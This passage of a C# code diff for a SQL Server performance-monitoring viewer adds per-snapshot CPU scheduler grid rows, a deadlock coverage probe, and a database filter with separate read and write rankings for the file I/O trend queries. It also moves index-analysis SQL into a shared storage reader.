+/// viewer adds it here: every row of one snapshot carries that snapshot's naive-UTC <see cref="CollectionTime"/>, worded in the
+/// display zone to the second as <see cref="CollectionTimeLocal"/>; the column sorts by <see cref="CollectionTime"/>.
+/// </summary>
+public sealed class CpuSchedulerGridRow
+{
+    public string Metric { get; init; } = "";
+    public string Value { get; init; } = "";
+    public bool IsWarning { get; init; }
+    public DateTime CollectionTime { get; init; }
+
+    public string CollectionTimeLocal => HistoryTime.CollectionLocal(CollectionTime);
+
+    /// <summary>The grid's rows for the snapshot; no rows (and so no time) for a window that holds no snapshot.</summary>
+    public static List<CpuSchedulerGridRow> Build(CpuSchedulerSnapshot? snapshot)
+    {
+        var rows = new List<CpuSchedulerGridRow>();
+        if (snapshot is null)
+        {
+            return rows;
+        }
+
+        foreach (var metric in CpuSchedulerMetrics.BuildMetrics(snapshot))
+        {
+            rows.Add(new CpuSchedulerGridRow { Metric = metric.Metric, Value = metric.Value, IsWarning = metric.IsWarning, CollectionTime = snapshot.CollectionTime });
+        }
+
+        return rows;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs
index b71782b5f1..b380db6be3 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs
@@ -123,6 +123,21 @@ ORDER BY deadlock_time DESC
         LIMIT 50
         """;
 
+    /// <summary>The grid's row cap: the newest 50 deadlocks. <see cref="RecentDeadlocksSql"/>'s LIMIT is the same number.</summary>
+    public const int DeadlocksRowCap = 50;
+
+    /// <summary>
+    /// Where this server's deadlocks coverage starts for the window, through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's retention edge, or its first
+    /// row in the window if that is earlier (#4966). The grid windows on <c>deadlock_time</c>, the graph's own time,
+    /// which can reach before the coverage (the server's first collection stores its history), so the caller names the
+    /// earlier of this and the earliest deadlock it shows (<see cref="ViewerEventDataStart.Of"/>). Null when the window
+    /// holds no row and no logged run, and when it lies wholly before the coverage.
+    /// </summary>
+    public Task<DateTime?> GetDeadlocksDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("deadlocks"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     /// <summary>The raw deadlock rows for the window; the grid parses them into per-process detail rows.</summary>
     public async Task<List<ViewerDeadlockRow>> GetRecentDeadlocksAsync(
         int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ExcludedDatabases.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ExcludedDatabases.cs
index 479a03841c..80fbc6fbb7 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ExcludedDatabases.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ExcludedDatabases.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -26,23 +27,6 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// </summary>
 public sealed partial class ViewerDataService
 {
-    /// <summary>
-    /// DISTINCT user-database names the store has collected for one server, from either the database
-    /// config snapshot or the per-file size stats (UNION dedupes across both), system databases removed,
-    /// ordered by name. $1 server_id.
-    /// </summary>
-    public const string CollectedDatabaseNamesSql = """
-        SELECT database_name
-        FROM (
-            SELECT database_name FROM v_database_config WHERE server_id = $1
-            UNION
-            SELECT database_name FROM v_database_size_stats WHERE server_id = $1
-        ) AS d
-        WHERE database_name IS NOT NULL
-        AND   database_name NOT IN ('master', 'model', 'msdb', 'tempdb')
-        ORDER BY database_name
-        """;
-
     /// <summary>
     /// The distinct user databases the store has collected for one server (empty when nothing has been
     /// collected yet). Feeds the Excluded Databases picker's checkbox list.
@@ -51,7 +35,7 @@ public async Task<List<string>> GetCollectedDatabaseNamesAsync(int serverId, Can
     {
         var names = new List<string>();
 
-        await using var command = _dataSource.CreateCommand(CollectedDatabaseNamesSql);
+        await using var command = _dataSource.CreateCommand(CollectedDatabases.NamesSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FileIo.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FileIo.cs
index eca0ac9c50..b726d182e4 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FileIo.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FileIo.cs
@@ -34,7 +34,11 @@ public sealed record FileIoLatencyPoint(
     double AvgReadLatencyMs,
     double AvgWriteLatencyMs,
     double AvgQueuedReadLatencyMs,
-    double AvgQueuedWriteLatencyMs);
+    double AvgQueuedWriteLatencyMs,
+    long Reads = 0,
+    long Writes = 0,
+    bool InReadTen = false,
+    bool InWriteTen = false);
 
 /// <summary>
 /// One file's throughput point (MB/s) for the File I/O tab's Throughput sub-tab — a mirror of Lite's
@@ -56,7 +60,7 @@ public sealed partial class ViewerDataService
     /// <summary>
     /// The File I/O latency read — Lite's <c>GetFileIoLatencyTrendAsync</c> ported to Postgres, then bucketed
     /// (#4234). Reads <c>v_file_io_stats</c> (a <c>SELECT *</c> passthrough over <c>file_io_stats</c>): a
-    /// <c>top_files</c> CTE picks the 10 busiest (database, file) pairs by total delta ops over the window —
+    /// <c>top_files</c> CTE picks the 10 busiest (database, file) pairs by total delta reads and the 10 busiest by total delta writes over the window (release walk V9) —
     /// unchanged by bucketing — then average read/write (and queued read/write) latency per bucket is computed
     /// as summed stall-ms / summed ops, with the delta-stall sums CAST to double precision before division. The
     /// queued-stall columns are COALESCE'd to 0 so a server whose build predates them still reads 0.
@@ -73,26 +77,59 @@ public sealed partial class ViewerDataService
     /// <para>#4234 review (item 3): <c>first_collection_time</c> (<c>MIN(collection_time)</c>, every row in
     /// <c>rated</c> — rated or not) and <c>collection_count</c> (<c>COUNT(*)</c> over that same population) ride
     /// along so the caller can tell a true singleton bucket from one the bucketing actually merged, exactly like
-    /// <c>WaitTrendsSql</c>. $1 server_id, $2 window start, $3 window end (naive UTC), $4 bucket width minutes.
+    /// <c>WaitTrendsSql</c>. $1 server_id, $2 window start, $3 window end (naive UTC), $4 bucket width minutes, $5 the saved database filter (#5312, a text[], NULL = every database), inside <c>top_files</c>: the busiest files are those of the CHOSEN databases.
     /// </para>
     /// </summary>
     public const string FileIoLatencyTrendSql = $$"""
-        WITH top_files AS (
-            SELECT database_name, file_name
+        WITH file_totals AS (
+            SELECT
+                database_name,
+                file_name,
+                COALESCE(SUM(delta_reads), 0) AS total_reads,
+                COALESCE(SUM(delta_writes), 0) AS total_writes
             FROM v_file_io_stats
             WHERE server_id = $1
             AND   collection_time >= $2
             AND   collection_time <= $3
             AND   (delta_reads > 0 OR delta_writes > 0)
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, file_name
-            ORDER BY SUM(delta_reads + delta_writes) DESC
-            LIMIT 10
+        ),
+        /* Release walk V9: the two charts are about different files, so each picks its own. The ten busiest
+           files by reads feed the read chart and the ten busiest by writes feed the write chart; a file in
+           either list is charted. Ranking on reads + writes put only log files in the ten on a server whose
+           logs carry the most operations, and the read chart (and the Overview I/O Latency lane, which reads
+           the same rows) then held nothing but log files with no reads. A tie on one count goes to the file with more
+           of the other, so equally busy files rank by total activity. */
+        ranked_files AS (
+            SELECT
+                database_name,
+                file_name,
+                total_reads,
+                total_writes,
+                ROW_NUMBER() OVER (ORDER BY total_reads DESC NULLS LAST, total_writes DESC NULLS LAST, database_name COLLATE "C" NULLS LAST, file_name COLLATE "C" NULLS LAST) AS read_rank,
+                ROW_NUMBER() OVER (ORDER BY total_writes DESC NULLS LAST, total_reads DESC NULLS LAST, database_name COLLATE "C" NULLS LAST, file_name COLLATE "C" NULLS LAST) AS write_rank
+            FROM file_totals
+        ),
+        /* Round 2, L4: the read says which ten each file is in (the two flags), so the charts draw exactly the files the read
+           ranked instead of ranking again on the bucketed counts, which drop rows with no interval and break ties in another order. */
+        top_files AS (
+            SELECT
+                database_name,
+                file_name,
+                (read_rank <= 10 AND total_reads > 0) AS in_read_ten,
+                (write_rank <= 10 AND total_writes > 0) AS in_write_ten
+            FROM ranked_files
+            WHERE (read_rank <= 10 AND total_reads > 0)
+            OR    (write_rank <= 10 AND total_writes > 0)
         ),
         rated AS (
             SELECT
                 f.collection_time,
                 f.database_name,
                 f.file_name,
+                tf.in_read_ten,
+                tf.in_write_ten,
                 /* #3540: a stored interval of 0 means this row's own deltas are not knowable, so they are
                    nulled out of the sums below — the row still counts as a physical collection (collection_count)
                    but contributes nothing to a bucket's rate. */
@@ -125,7 +162,14 @@ CASE WHEN SUM(rated_writes) > 0
                  THEN SUM(CAST(rated_stall_queued_write_ms AS double precision)) / SUM(rated_writes)
                  ELSE 0 END AS avg_queued_write_latency_ms,
             MIN(collection_time) AS first_collection_time,
-            COUNT(*) AS collection_count
+            COUNT(*) AS collection_count,
+            /* Release walk V9b: the bucket's read and write counts ride along so the Overview lane can weight the
+               files' latencies by operations (total stall over total operations) instead of averaging a no-read
+               log file as 0 ms. */
+            COALESCE(SUM(rated_reads), 0)::bigint AS total_reads,
+            COALESCE(SUM(rated_writes), 0)::bigint AS total_writes,
+            bool_or(in_read_ten) AS in_read_ten,
+            bool_or(in_write_ten) AS in_write_ten
         FROM rated
         GROUP BY database_name, file_name, 3
         HAVING COUNT(rated_reads) > 0
@@ -146,7 +190,7 @@ HAVING COUNT(rated_reads) > 0
     /// <para>#4234 review (item 3): <c>first_collection_time</c> / <c>collection_count</c> ride along exactly
     /// like <c>WaitTrendsSql</c>'s, counted over every physical row (rated or not) so a bucket is never mistaken
     /// for a true singleton just because its one physical collection happened to be unrated.</para>
-    /// $1 server_id, $2 window start, $3 window end (naive UTC), $4 bucket width minutes.
+    /// $1 server_id, $2 window start, $3 window end (naive UTC), $4 bucket width minutes, $5 the saved database filter (#5312, a text[], NULL = every database), inside <c>top_files</c>: the busiest files are those of the CHOSEN databases.
     /// </summary>
     public const string FileIoThroughputTrendSql = $$"""
         WITH top_files AS (
@@ -156,8 +200,9 @@ FROM v_file_io_stats
             AND   collection_time >= $2
             AND   collection_time <= $3
             AND   (delta_read_bytes > 0 OR delta_write_bytes > 0)
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, file_name
-            ORDER BY SUM(delta_read_bytes + delta_write_bytes) DESC
+            ORDER BY SUM(delta_read_bytes + delta_write_bytes) DESC NULLS LAST, database_name COLLATE "C" NULLS LAST, file_name COLLATE "C" NULLS LAST
             LIMIT 10
         ),
         with_interval AS (
@@ -206,7 +251,7 @@ HAVING COUNT(rated_seconds) > 0
         """;
 
     /// <summary>
-    /// Per-file I/O-latency points (top 10 files by delta ops) for one server over the window, for the
+    /// Per-file I/O-latency points (top 10 files by delta reads and top 10 by delta writes) for one server over the window, for the
     /// File I/O tab's Latency sub-tab.
     /// <para>#4234: buckets to <see cref="TrendBudget.Chart"/>'s point budget PER SERIES (file), like
     /// <c>GetWaitStatsTrendsByTypesAsync</c>; <paramref name="serverId"/>'s window alone decides the width
@@ -216,7 +261,7 @@ HAVING COUNT(rated_seconds) > 0
     /// <c>bucket_start</c> grid line — see <see cref="FileIoLatencyPoint"/>.</para>
     /// </summary>
     public async Task<List<FileIoLatencyPoint>> GetFileIoLatencyTrendAsync(
-        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+        int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         var items = new List<FileIoLatencyPoint>();
 
@@ -235,9 +280,10 @@ public async Task<List<FileIoLatencyPoint>> GetFileIoLatencyTrendAsync(
             TypedValue = DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified),
         });
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = bucketMinutes });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         var rows = new List<(string DatabaseName, string FileName, DateTime BucketStart, DateTime FirstCollectionTime,
-            double AvgRead, double AvgWrite, double AvgQueuedRead, double AvgQueuedWrite)>();
+            double AvgRead, double AvgWrite, double AvgQueuedRead, double AvgQueuedWrite, long Reads, long Writes, bool InReadTen, bool InWriteTen)>();
         var everyBucketSingleton = true;
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
@@ -256,7 +302,11 @@ public async Task<List<FileIoLatencyPoint>> GetFileIoLatencyTrendAsync(
                 reader.IsDBNull(3) ? 0 : reader.GetDouble(3),
                 reader.IsDBNull(4) ? 0 : reader.GetDouble(4),
                 reader.IsDBNull(5) ? 0 : reader.GetDouble(5),
-                reader.IsDBNull(6) ? 0 : reader.GetDouble(6)));
+                reader.IsDBNull(6) ? 0 : reader.GetDouble(6),
+                reader.IsDBNull(9) ? 0 : reader.GetInt64(9),
+                reader.IsDBNull(10) ? 0 : reader.GetInt64(10),
+                !reader.IsDBNull(11) && reader.GetBoolean(11),
+                !reader.IsDBNull(12) && reader.GetBoolean(12)));
         }
 
         foreach (var row in rows)
@@ -268,7 +318,11 @@ public async Task<List<FileIoLatencyPoint>> GetFileIoLatencyTrendAsync(
                 row.AvgRead,
                 row.AvgWrite,
                 row.AvgQueuedRead,
-                row.AvgQueuedWrite));
+                row.AvgQueuedWrite,
+                row.Reads,
+                row.Writes,
+                row.InReadTen,
+                row.InWriteTen));
         }
 
         return items;
@@ -282,7 +336,7 @@ public async Task<List<FileIoLatencyPoint>> GetFileIoLatencyTrendAsync(
     /// which this read shares verbatim.</para>
     /// </summary>
     public async Task<List<FileIoThroughputPoint>> GetFileIoThroughputTrendAsync(
-        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+        int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         var items = new List<FileIoThroughputPoint>();
 
@@ -301,6 +355,7 @@ public async Task<List<FileIoThroughputPoint>> GetFileIoThroughputTrendAsync(
             TypedValue = DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified),
         });
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = bucketMinutes });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         var rows = new List<(string FileLabel, DateTime BucketStart, DateTime FirstCollectionTime, double Read, double Write)>();
         var everyBucketSingleton = true;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.IndexAnalysis.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.IndexAnalysis.cs
index c0449d3b65..016001cd19 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.IndexAnalysis.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.IndexAnalysis.cs
@@ -8,12 +8,11 @@
 
 using System;
 using System.Collections.Generic;
-using System.Globalization;
 using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
-using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -31,77 +30,11 @@ namespace PerformanceMonitor.Darling.Viewer;
 
 public sealed partial class ViewerDataService
 {
-    /// <summary>
-    /// The latest collected snapshot of EVERY index for one server: DISTINCT ON keeps the newest row per
-    /// (database_id, object_id, index_id) so the analyzer sees each index exactly once (never the whole
-    /// history). Per-database collection cycles can carry different collection_times, so the dedupe keys on the
-    /// index identity, not a single server-wide MAX(collection_time). $1 server_id. Column order is the read
-    /// contract for <see cref="ReadIndexObjectStatsRow"/>.
-    /// </summary>
-    public const string IndexObjectStatsLatestSql = @"
-SELECT DISTINCT ON (database_id, object_id, index_id)
-    database_name,
-    database_id,
-    schema_name,
-    object_id,
-    table_name,
-    index_id,
-    index_name,
-    index_type_desc,
-    key_columns,
-    included_columns,
-    filter_definition,
-    is_unique,
-    is_unique_constraint,
-    is_primary_key,
-    is_foreign_key,
-    is_foreign_key_reference,
-    is_disabled,
-    is_indexed_view,
-    data_compression_desc,
-    optimize_for_sequential_key,
-    fill_factor,
-    is_padded,
-    allow_page_locks,
-    allow_row_locks,
-    user_seeks,
-    user_scans,
-    user_lookups,
-    user_updates,
-    reserved_mb,
-    total_rows,
-    partition_count,
-    sqlserver_start_time,
-    /* Operational lock/latch counters (dm_db_index_operational_stats), appended after the pre-existing
-       columns so ordinals 0-31 are unchanged. Feed the reclaimable-space rollup's workload-impact columns
-       (Lock Waits / Latch Waits), the same collected data the FinOps Locking sub-tab already reads. */
-    row_lock_wait_count,
-    row_lock_wait_in_ms,
-    page_lock_wait_count,
-    page_lock_wait_in_ms,
-    page_latch_wait_count,
-    page_latch_wait_in_ms,
-    page_io_latch_wait_count,
-    page_io_latch_wait_in_ms
-FROM v_index_object_stats
-WHERE server_id = $1
-ORDER BY database_id, object_id, index_id, collection_time DESC";
+    /// <summary>The latest-snapshot read lives in Storage; this alias keeps the viewer's SQL pins on the same text.</summary>
+    public const string IndexObjectStatsLatestSql = DarlingFinOpsIndexAnalysisReader.IndexObjectStatsLatestSql;
 
-    /// <summary>
-    /// The server's latest edition / version / start-time facts for the analyzer options — the same three
-    /// SERVERPROPERTY-derived values sp_IndexCleanup reads at runtime, sourced from the collected
-    /// server_properties (Darling has no v_server_properties view; the base table is bare-name resolved via the
-    /// connection Search Path, exactly like the Utilization/Inventory reads). $1 server_id.
-    /// </summary>
-    public const string ServerCompressionInfoSql = @"
-SELECT
-    engine_edition,
-    product_version,
-    sqlserver_start_time
-FROM server_properties
-WHERE server_id = $1
-ORDER BY collection_time DESC
-LIMIT 1";
+    /// <summary>The server-facts read lives in Storage; this alias keeps the viewer's SQL pins on the same text.</summary>
+    public const string ServerCompressionInfoSql = DarlingFinOpsIndexAnalysisReader.ServerCompressionInfoSql;
 
     /// <summary>
     /// The analysis-relevant projection of one <c>v_index_object_stats</c> row — the viewer's own read-layer
@@ -151,252 +84,136 @@ public sealed record IndexObjectStatsRow
         public long? PageLatchWaitInMs { get; init; }
         public long? PageIoLatchWaitCount { get; init; }
         public long? PageIoLatchWaitInMs { get; init; }
+
+        /// <summary>Converts back to the Storage shape the shared mapper takes.</summary>
+        public DarlingFinOpsIndexAnalysisReader.IndexObjectStatsDto ToDto() => new()
+        {
+            DatabaseName = DatabaseName,
+            DatabaseId = DatabaseId,
+            SchemaName = SchemaName,
+            ObjectId = ObjectId,
+            TableName = TableName,
+            IndexId = IndexId,
+            IndexName = IndexName,
+            IndexTypeDesc = IndexTypeDesc,
+            KeyColumns = KeyColumns,
+            IncludedColumns = IncludedColumns,
+            FilterDefinition = FilterDefinition,
+            IsUnique = IsUnique,
+            IsUniqueConstraint = IsUniqueConstraint,
+            IsPrimaryKey = IsPrimaryKey,
+            IsForeignKey = IsForeignKey,
+            IsForeignKeyReference = IsForeignKeyReference,
+            IsDisabled = IsDisabled,
+            IsIndexedView = IsIndexedView,
+            DataCompressionDesc = DataCompressionDesc,
+            OptimizeForSequentialKey = OptimizeForSequentialKey,
+            FillFactor = FillFactor,
+            IsPadded = IsPadded,
+            AllowPageLocks = AllowPageLocks,
+            AllowRowLocks = AllowRowLocks,
+            UserSeeks = UserSeeks,
+            UserScans = UserScans,
+            UserLookups = UserLookups,
+            UserUpdates = UserUpdates,
+            ReservedMb = ReservedMb,
+            TotalRows = TotalRows,
+            PartitionCount = PartitionCount,
+            SqlServerStartTime = SqlServerStartTime,
+            RowLockWaitCount = RowLockWaitCount,
+            RowLockWaitInMs = RowLockWaitInMs,
+            PageLockWaitCount = PageLockWaitCount,
+            PageLockWaitInMs = PageLockWaitInMs,
+            PageLatchWaitCount = PageLatchWaitCount,
+            PageLatchWaitInMs = PageLatchWaitInMs,
+            PageIoLatchWaitCount = PageIoLatchWaitCount,
+            PageIoLatchWaitInMs = PageIoLatchWaitInMs,
+        };
     }
 
     /// <summary>Maps a collected snapshot row into the analyzer's per-index input contract (nullable flag -&gt; false).</summary>
-    public static IndexCleanupIndexInput MapToIndexInput(IndexObjectStatsRow row) => new()
-    {
-        DatabaseName = row.DatabaseName,
-        DatabaseId = row.DatabaseId,
-        SchemaName = row.SchemaName,
-        ObjectId = row.ObjectId,
-        TableName = row.TableName,
-        IndexId = row.IndexId,
-        IndexName = row.IndexName,
-        IndexTypeDesc = row.IndexTypeDesc,
-        KeyColumns = row.KeyColumns,
-        IncludedColumns = row.IncludedColumns,
-        FilterDefinition = row.FilterDefinition,
-        IsUnique = row.IsUnique ?? false,
-        IsUniqueConstraint = row.IsUniqueConstraint ?? false,
-        IsPrimaryKey = row.IsPrimaryKey ?? false,
-        IsForeignKey = row.IsForeignKey ?? false,
-        IsForeignKeyReference = row.IsForeignKeyReference ?? false,
-        IsDisabled = row.IsDisabled ?? false,
-        IsIndexedView = row.IsIndexedView ?? false,
-        DataCompressionDesc = row.DataCompressionDesc,
-        OptimizeForSequentialKey = row.OptimizeForSequentialKey ?? false,
-        FillFactor = row.FillFactor,
-        IsPadded = row.IsPadded ?? false,
-        AllowPageLocks = row.AllowPageLocks ?? false,
-        AllowRowLocks = row.AllowRowLocks ?? false,
-        UserSeeks = row.UserSeeks ?? 0,
-        UserScans = row.UserScans ?? 0,
-        UserLookups = row.UserLookups ?? 0,
-        UserUpdates = row.UserUpdates ?? 0,
-        RowLockWaitCount = row.RowLockWaitCount ?? 0,
-        RowLockWaitInMs = row.RowLockWaitInMs ?? 0,
-        PageLockWaitCount = row.PageLockWaitCount ?? 0,
-        PageLockWaitInMs = row.PageLockWaitInMs ?? 0,
-        PageLatchWaitCount = row.PageLatchWaitCount ?? 0,
-        PageLatchWaitInMs = row.PageLatchWaitInMs ?? 0,
-        PageIoLatchWaitCount = row.PageIoLatchWaitCount ?? 0,
-        PageIoLatchWaitInMs = row.PageIoLatchWaitInMs ?? 0,
-        ReservedMb = row.ReservedMb,
-        TotalRows = row.TotalRows,
-        PartitionCount = row.PartitionCount,
-        SqlServerStartTime = row.SqlServerStartTime,
-    };
+    public static IndexCleanupIndexInput MapToIndexInput(IndexObjectStatsRow row) =>
+        DarlingFinOpsIndexAnalysisReader.MapToIndexInput(row.ToDto());
 
-    /// <summary>
-    /// Derives the analyzer options from the collected server facts, reproducing sp_IndexCleanup's runtime
-    /// gates: <c>@can_compress</c> = EngineEdition IN (3,5,8) [Enterprise / Azure SQL DB / Managed Instance] OR
-    /// (EngineEdition IN (2,4) [Standard / Express family] AND ProductVersion major &gt;= 13 [SQL 2016+]);
-    /// <c>@online</c> = EngineEdition IN (3,5,8). The size/read/write/row minimums and dedupe-only match the
-    /// proc's parameter DEFAULTS (all 0 / off) — no speculative settings knobs. Uptime days is computed from the
-    /// server-LOCAL <c>sqlserver_start_time</c> vs the viewer's local now (both wall-clock, mirroring the proc's
-    /// <c>DATEDIFF(DAY, sqlserver_start_time, SYSDATETIME())</c>); it drives the analyzer's &lt;14-day
-    /// unused caveat and &lt;=7-day auto-dedupe. When no server_properties row is collected yet, edition is
-    /// unknown: fall back to the safe defaults (compression assumed available — 2016+ is the product minimum —
-    /// and ONLINE off).
-    /// </summary>
+    /// <summary>Derives the analyzer options from the collected server facts; the rules live in the Storage reader.</summary>
     public static IndexCleanupOptions DeriveIndexCleanupOptions(
         int? engineEdition,
         string? productVersion,
         DateTime? sqlServerStartTime,
-        DateTime referenceLocalTime)
-    {
-        bool supportsOnline;
-        bool supportsCompression;
+        DateTime referenceLocalTime) =>
+        DarlingFinOpsIndexAnalysisReader.DeriveIndexCleanupOptions(engineEdition, productVersion, sqlServerStartTime, referenceLocalTime);
 
-        if (engineEdition is { } edition)
-        {
-            bool isEnterpriseOrAzure = edition is 3 or 5 or 8;
-            bool isStandardFamily = edition is 2 or 4;
-            supportsOnline = isEnterpriseOrAzure;
-            supportsCompression =
-                isEnterpriseOrAzure
-                || (isStandardFamily && ParseMajorVersion(productVersion) >= 13);
-        }
-        else
-        {
-            /* No collected properties row: assume compression is available (SQL 2016+ is the product minimum)
-               and keep ONLINE off (the safe default the generated scripts also default to). */
-            supportsOnline = false;
-            supportsCompression = true;
-        }
+    /// <summary>Parses the leading major-version integer from a ProductVersion string (e.g. "16.0.1000.6" -&gt; 16); 0 when unparseable.</summary>
+    public static int ParseMajorVersion(string? productVersion) =>
+        DarlingFinOpsIndexAnalysisReader.ParseMajorVersion(productVersion);
 
-        double? uptimeDays = null;
-        if (sqlServerStartTime is { } start)
-        {
-            var days = (referenceLocalTime - start).TotalDays;
-            if (days >= 0)
-            {
-                uptimeDays = days;
-            }
-        }
+    /// <summary>Reads the latest per-index snapshot for the server and maps each row to the analyzer input contract.</summary>
+    public Task<List<IndexCleanupIndexInput>> GetIndexCleanupInputsAsync(int serverId, CancellationToken cancellationToken = default) =>
+        DarlingFinOpsIndexAnalysisReader.GetIndexCleanupInputsAsync(
+            _dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
 
-        return new IndexCleanupOptions
-        {
-            DedupeOnly = false,
-            MinSizeGb = 0m,
-            MinReads = 0,
-            MinWrites = 0,
-            MinRows = 0,
-            ServerSupportsCompression = supportsCompression,
-            ServerSupportsOnline = supportsOnline,
-            ServerUptimeDays = uptimeDays,
-            /* CompressionMin/MaxSavingsFactor keep the record defaults (0.20 / 0.60 — sp_IndexCleanup's band). */
-        };
-    }
+    /// <summary>Reads the server's latest collected edition/version/start-time facts and derives the analyzer options.</summary>
+    public Task<IndexCleanupOptions> GetIndexCleanupOptionsAsync(int serverId, CancellationToken cancellationToken = default) =>
+        DarlingFinOpsIndexAnalysisReader.GetIndexCleanupOptionsAsync(
+            _dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken: cancellationToken);
 
-    /// <summary>Parses the leading major-version integer from a ProductVersion string (e.g. "16.0.1000.6" -&gt; 16); 0 when unparseable.</summary>
-    public static int ParseMajorVersion(string? productVersion)
-    {
-        if (string.IsNullOrWhiteSpace(productVersion))
-        {
-            return 0;
-        }
+    /// <summary>
+    /// The full monitor-side index-cleanup analysis for one server. Returns the analyzer result verbatim; the tab
+    /// projects it into the grids, rollup and banners.
+    /// </summary>
+    public Task<IndexCleanupAnalysisResult> GetIndexAnalysisAsync(int serverId, CancellationToken cancellationToken = default) =>
+        DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisAsync(
+            _dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
 
-        var head = productVersion.Split('.', 2)[0].Trim();
-        return int.TryParse(head, NumberStyles.Integer, CultureInfo.InvariantCulture, out var major) ? major : 0;
-    }
+    /// <summary>
+    /// The analysis plus when each database's snapshot was collected (naive UTC, keyed by database id). The times
+    /// ride beside the result because the analyzer's types are shared with Lite, which has no stored snapshot to date.
+    /// </summary>
+    public Task<IndexAnalysisWithSnapshotTimes> GetIndexAnalysisWithSnapshotTimesAsync(int serverId, CancellationToken cancellationToken = default) =>
+        DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisWithSnapshotTimesAsync(
+            _dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
 
-    /// <summary>Reads one <c>v_index_object_stats</c> row at the <see cref="IndexObjectStatsLatestSql"/> column ordinals.</summary>
-    private static IndexObjectStatsRow ReadIndexObjectStatsRow(NpgsqlDataReader reader)
+    /// <summary>Projects the analyzer recommendations into the detail-grid view-models; <paramref name="snapshotTimes"/> (when given) dates each row by its database's snapshot.</summary>
+    public static List<IndexCleanupRecommendationRow> ProjectRecommendations(IndexCleanupAnalysisResult result, IReadOnlyDictionary<int, DateTime>? snapshotTimes = null)
     {
-        long? L(int i) => reader.IsDBNull(i) ? null : Convert.ToInt64(reader.GetValue(i), CultureInfo.InvariantCulture);
-        int? I(int i) => reader.IsDBNull(i) ? null : Convert.ToInt32(reader.GetValue(i), CultureInfo.InvariantCulture);
-        short? Sh(int i) => reader.IsDBNull(i) ? null : Convert.ToInt16(reader.GetValue(i), CultureInfo.InvariantCulture);
-        decimal? D(int i) => reader.IsDBNull(i) ? null : Convert.ToDecimal(reader.GetValue(i), CultureInfo.InvariantCulture);
-        bool? B(int i) => reader.IsDBNull(i) ? null : reader.GetBoolean(i);
-        string? S(int i) => reader.IsDBNull(i) ? null : reader.GetString(i);
-
-        return new IndexObjectStatsRow
+        /* A recommendation carries only the database NAME, and names can repeat across ids. Resolve it through this read's
+           rollups (which carry the id): the time is used only when exactly one id owns the name (Ordinal), else null. */
+        var idByName = new Dictionary<string, int?>(StringComparer.Ordinal);
+        foreach (var rollup in result.DatabaseRollups)
         {
-            DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-            DatabaseId = reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1), CultureInfo.InvariantCulture),
-            SchemaName = reader.IsDBNull(2) ? "" : reader.GetString(2),
-            ObjectId = reader.IsDBNull(3) ? 0 : Convert.ToInt32(reader.GetValue(3), CultureInfo.InvariantCulture),
-            TableName = reader.IsDBNull(4) ? "" : reader.GetString(4),
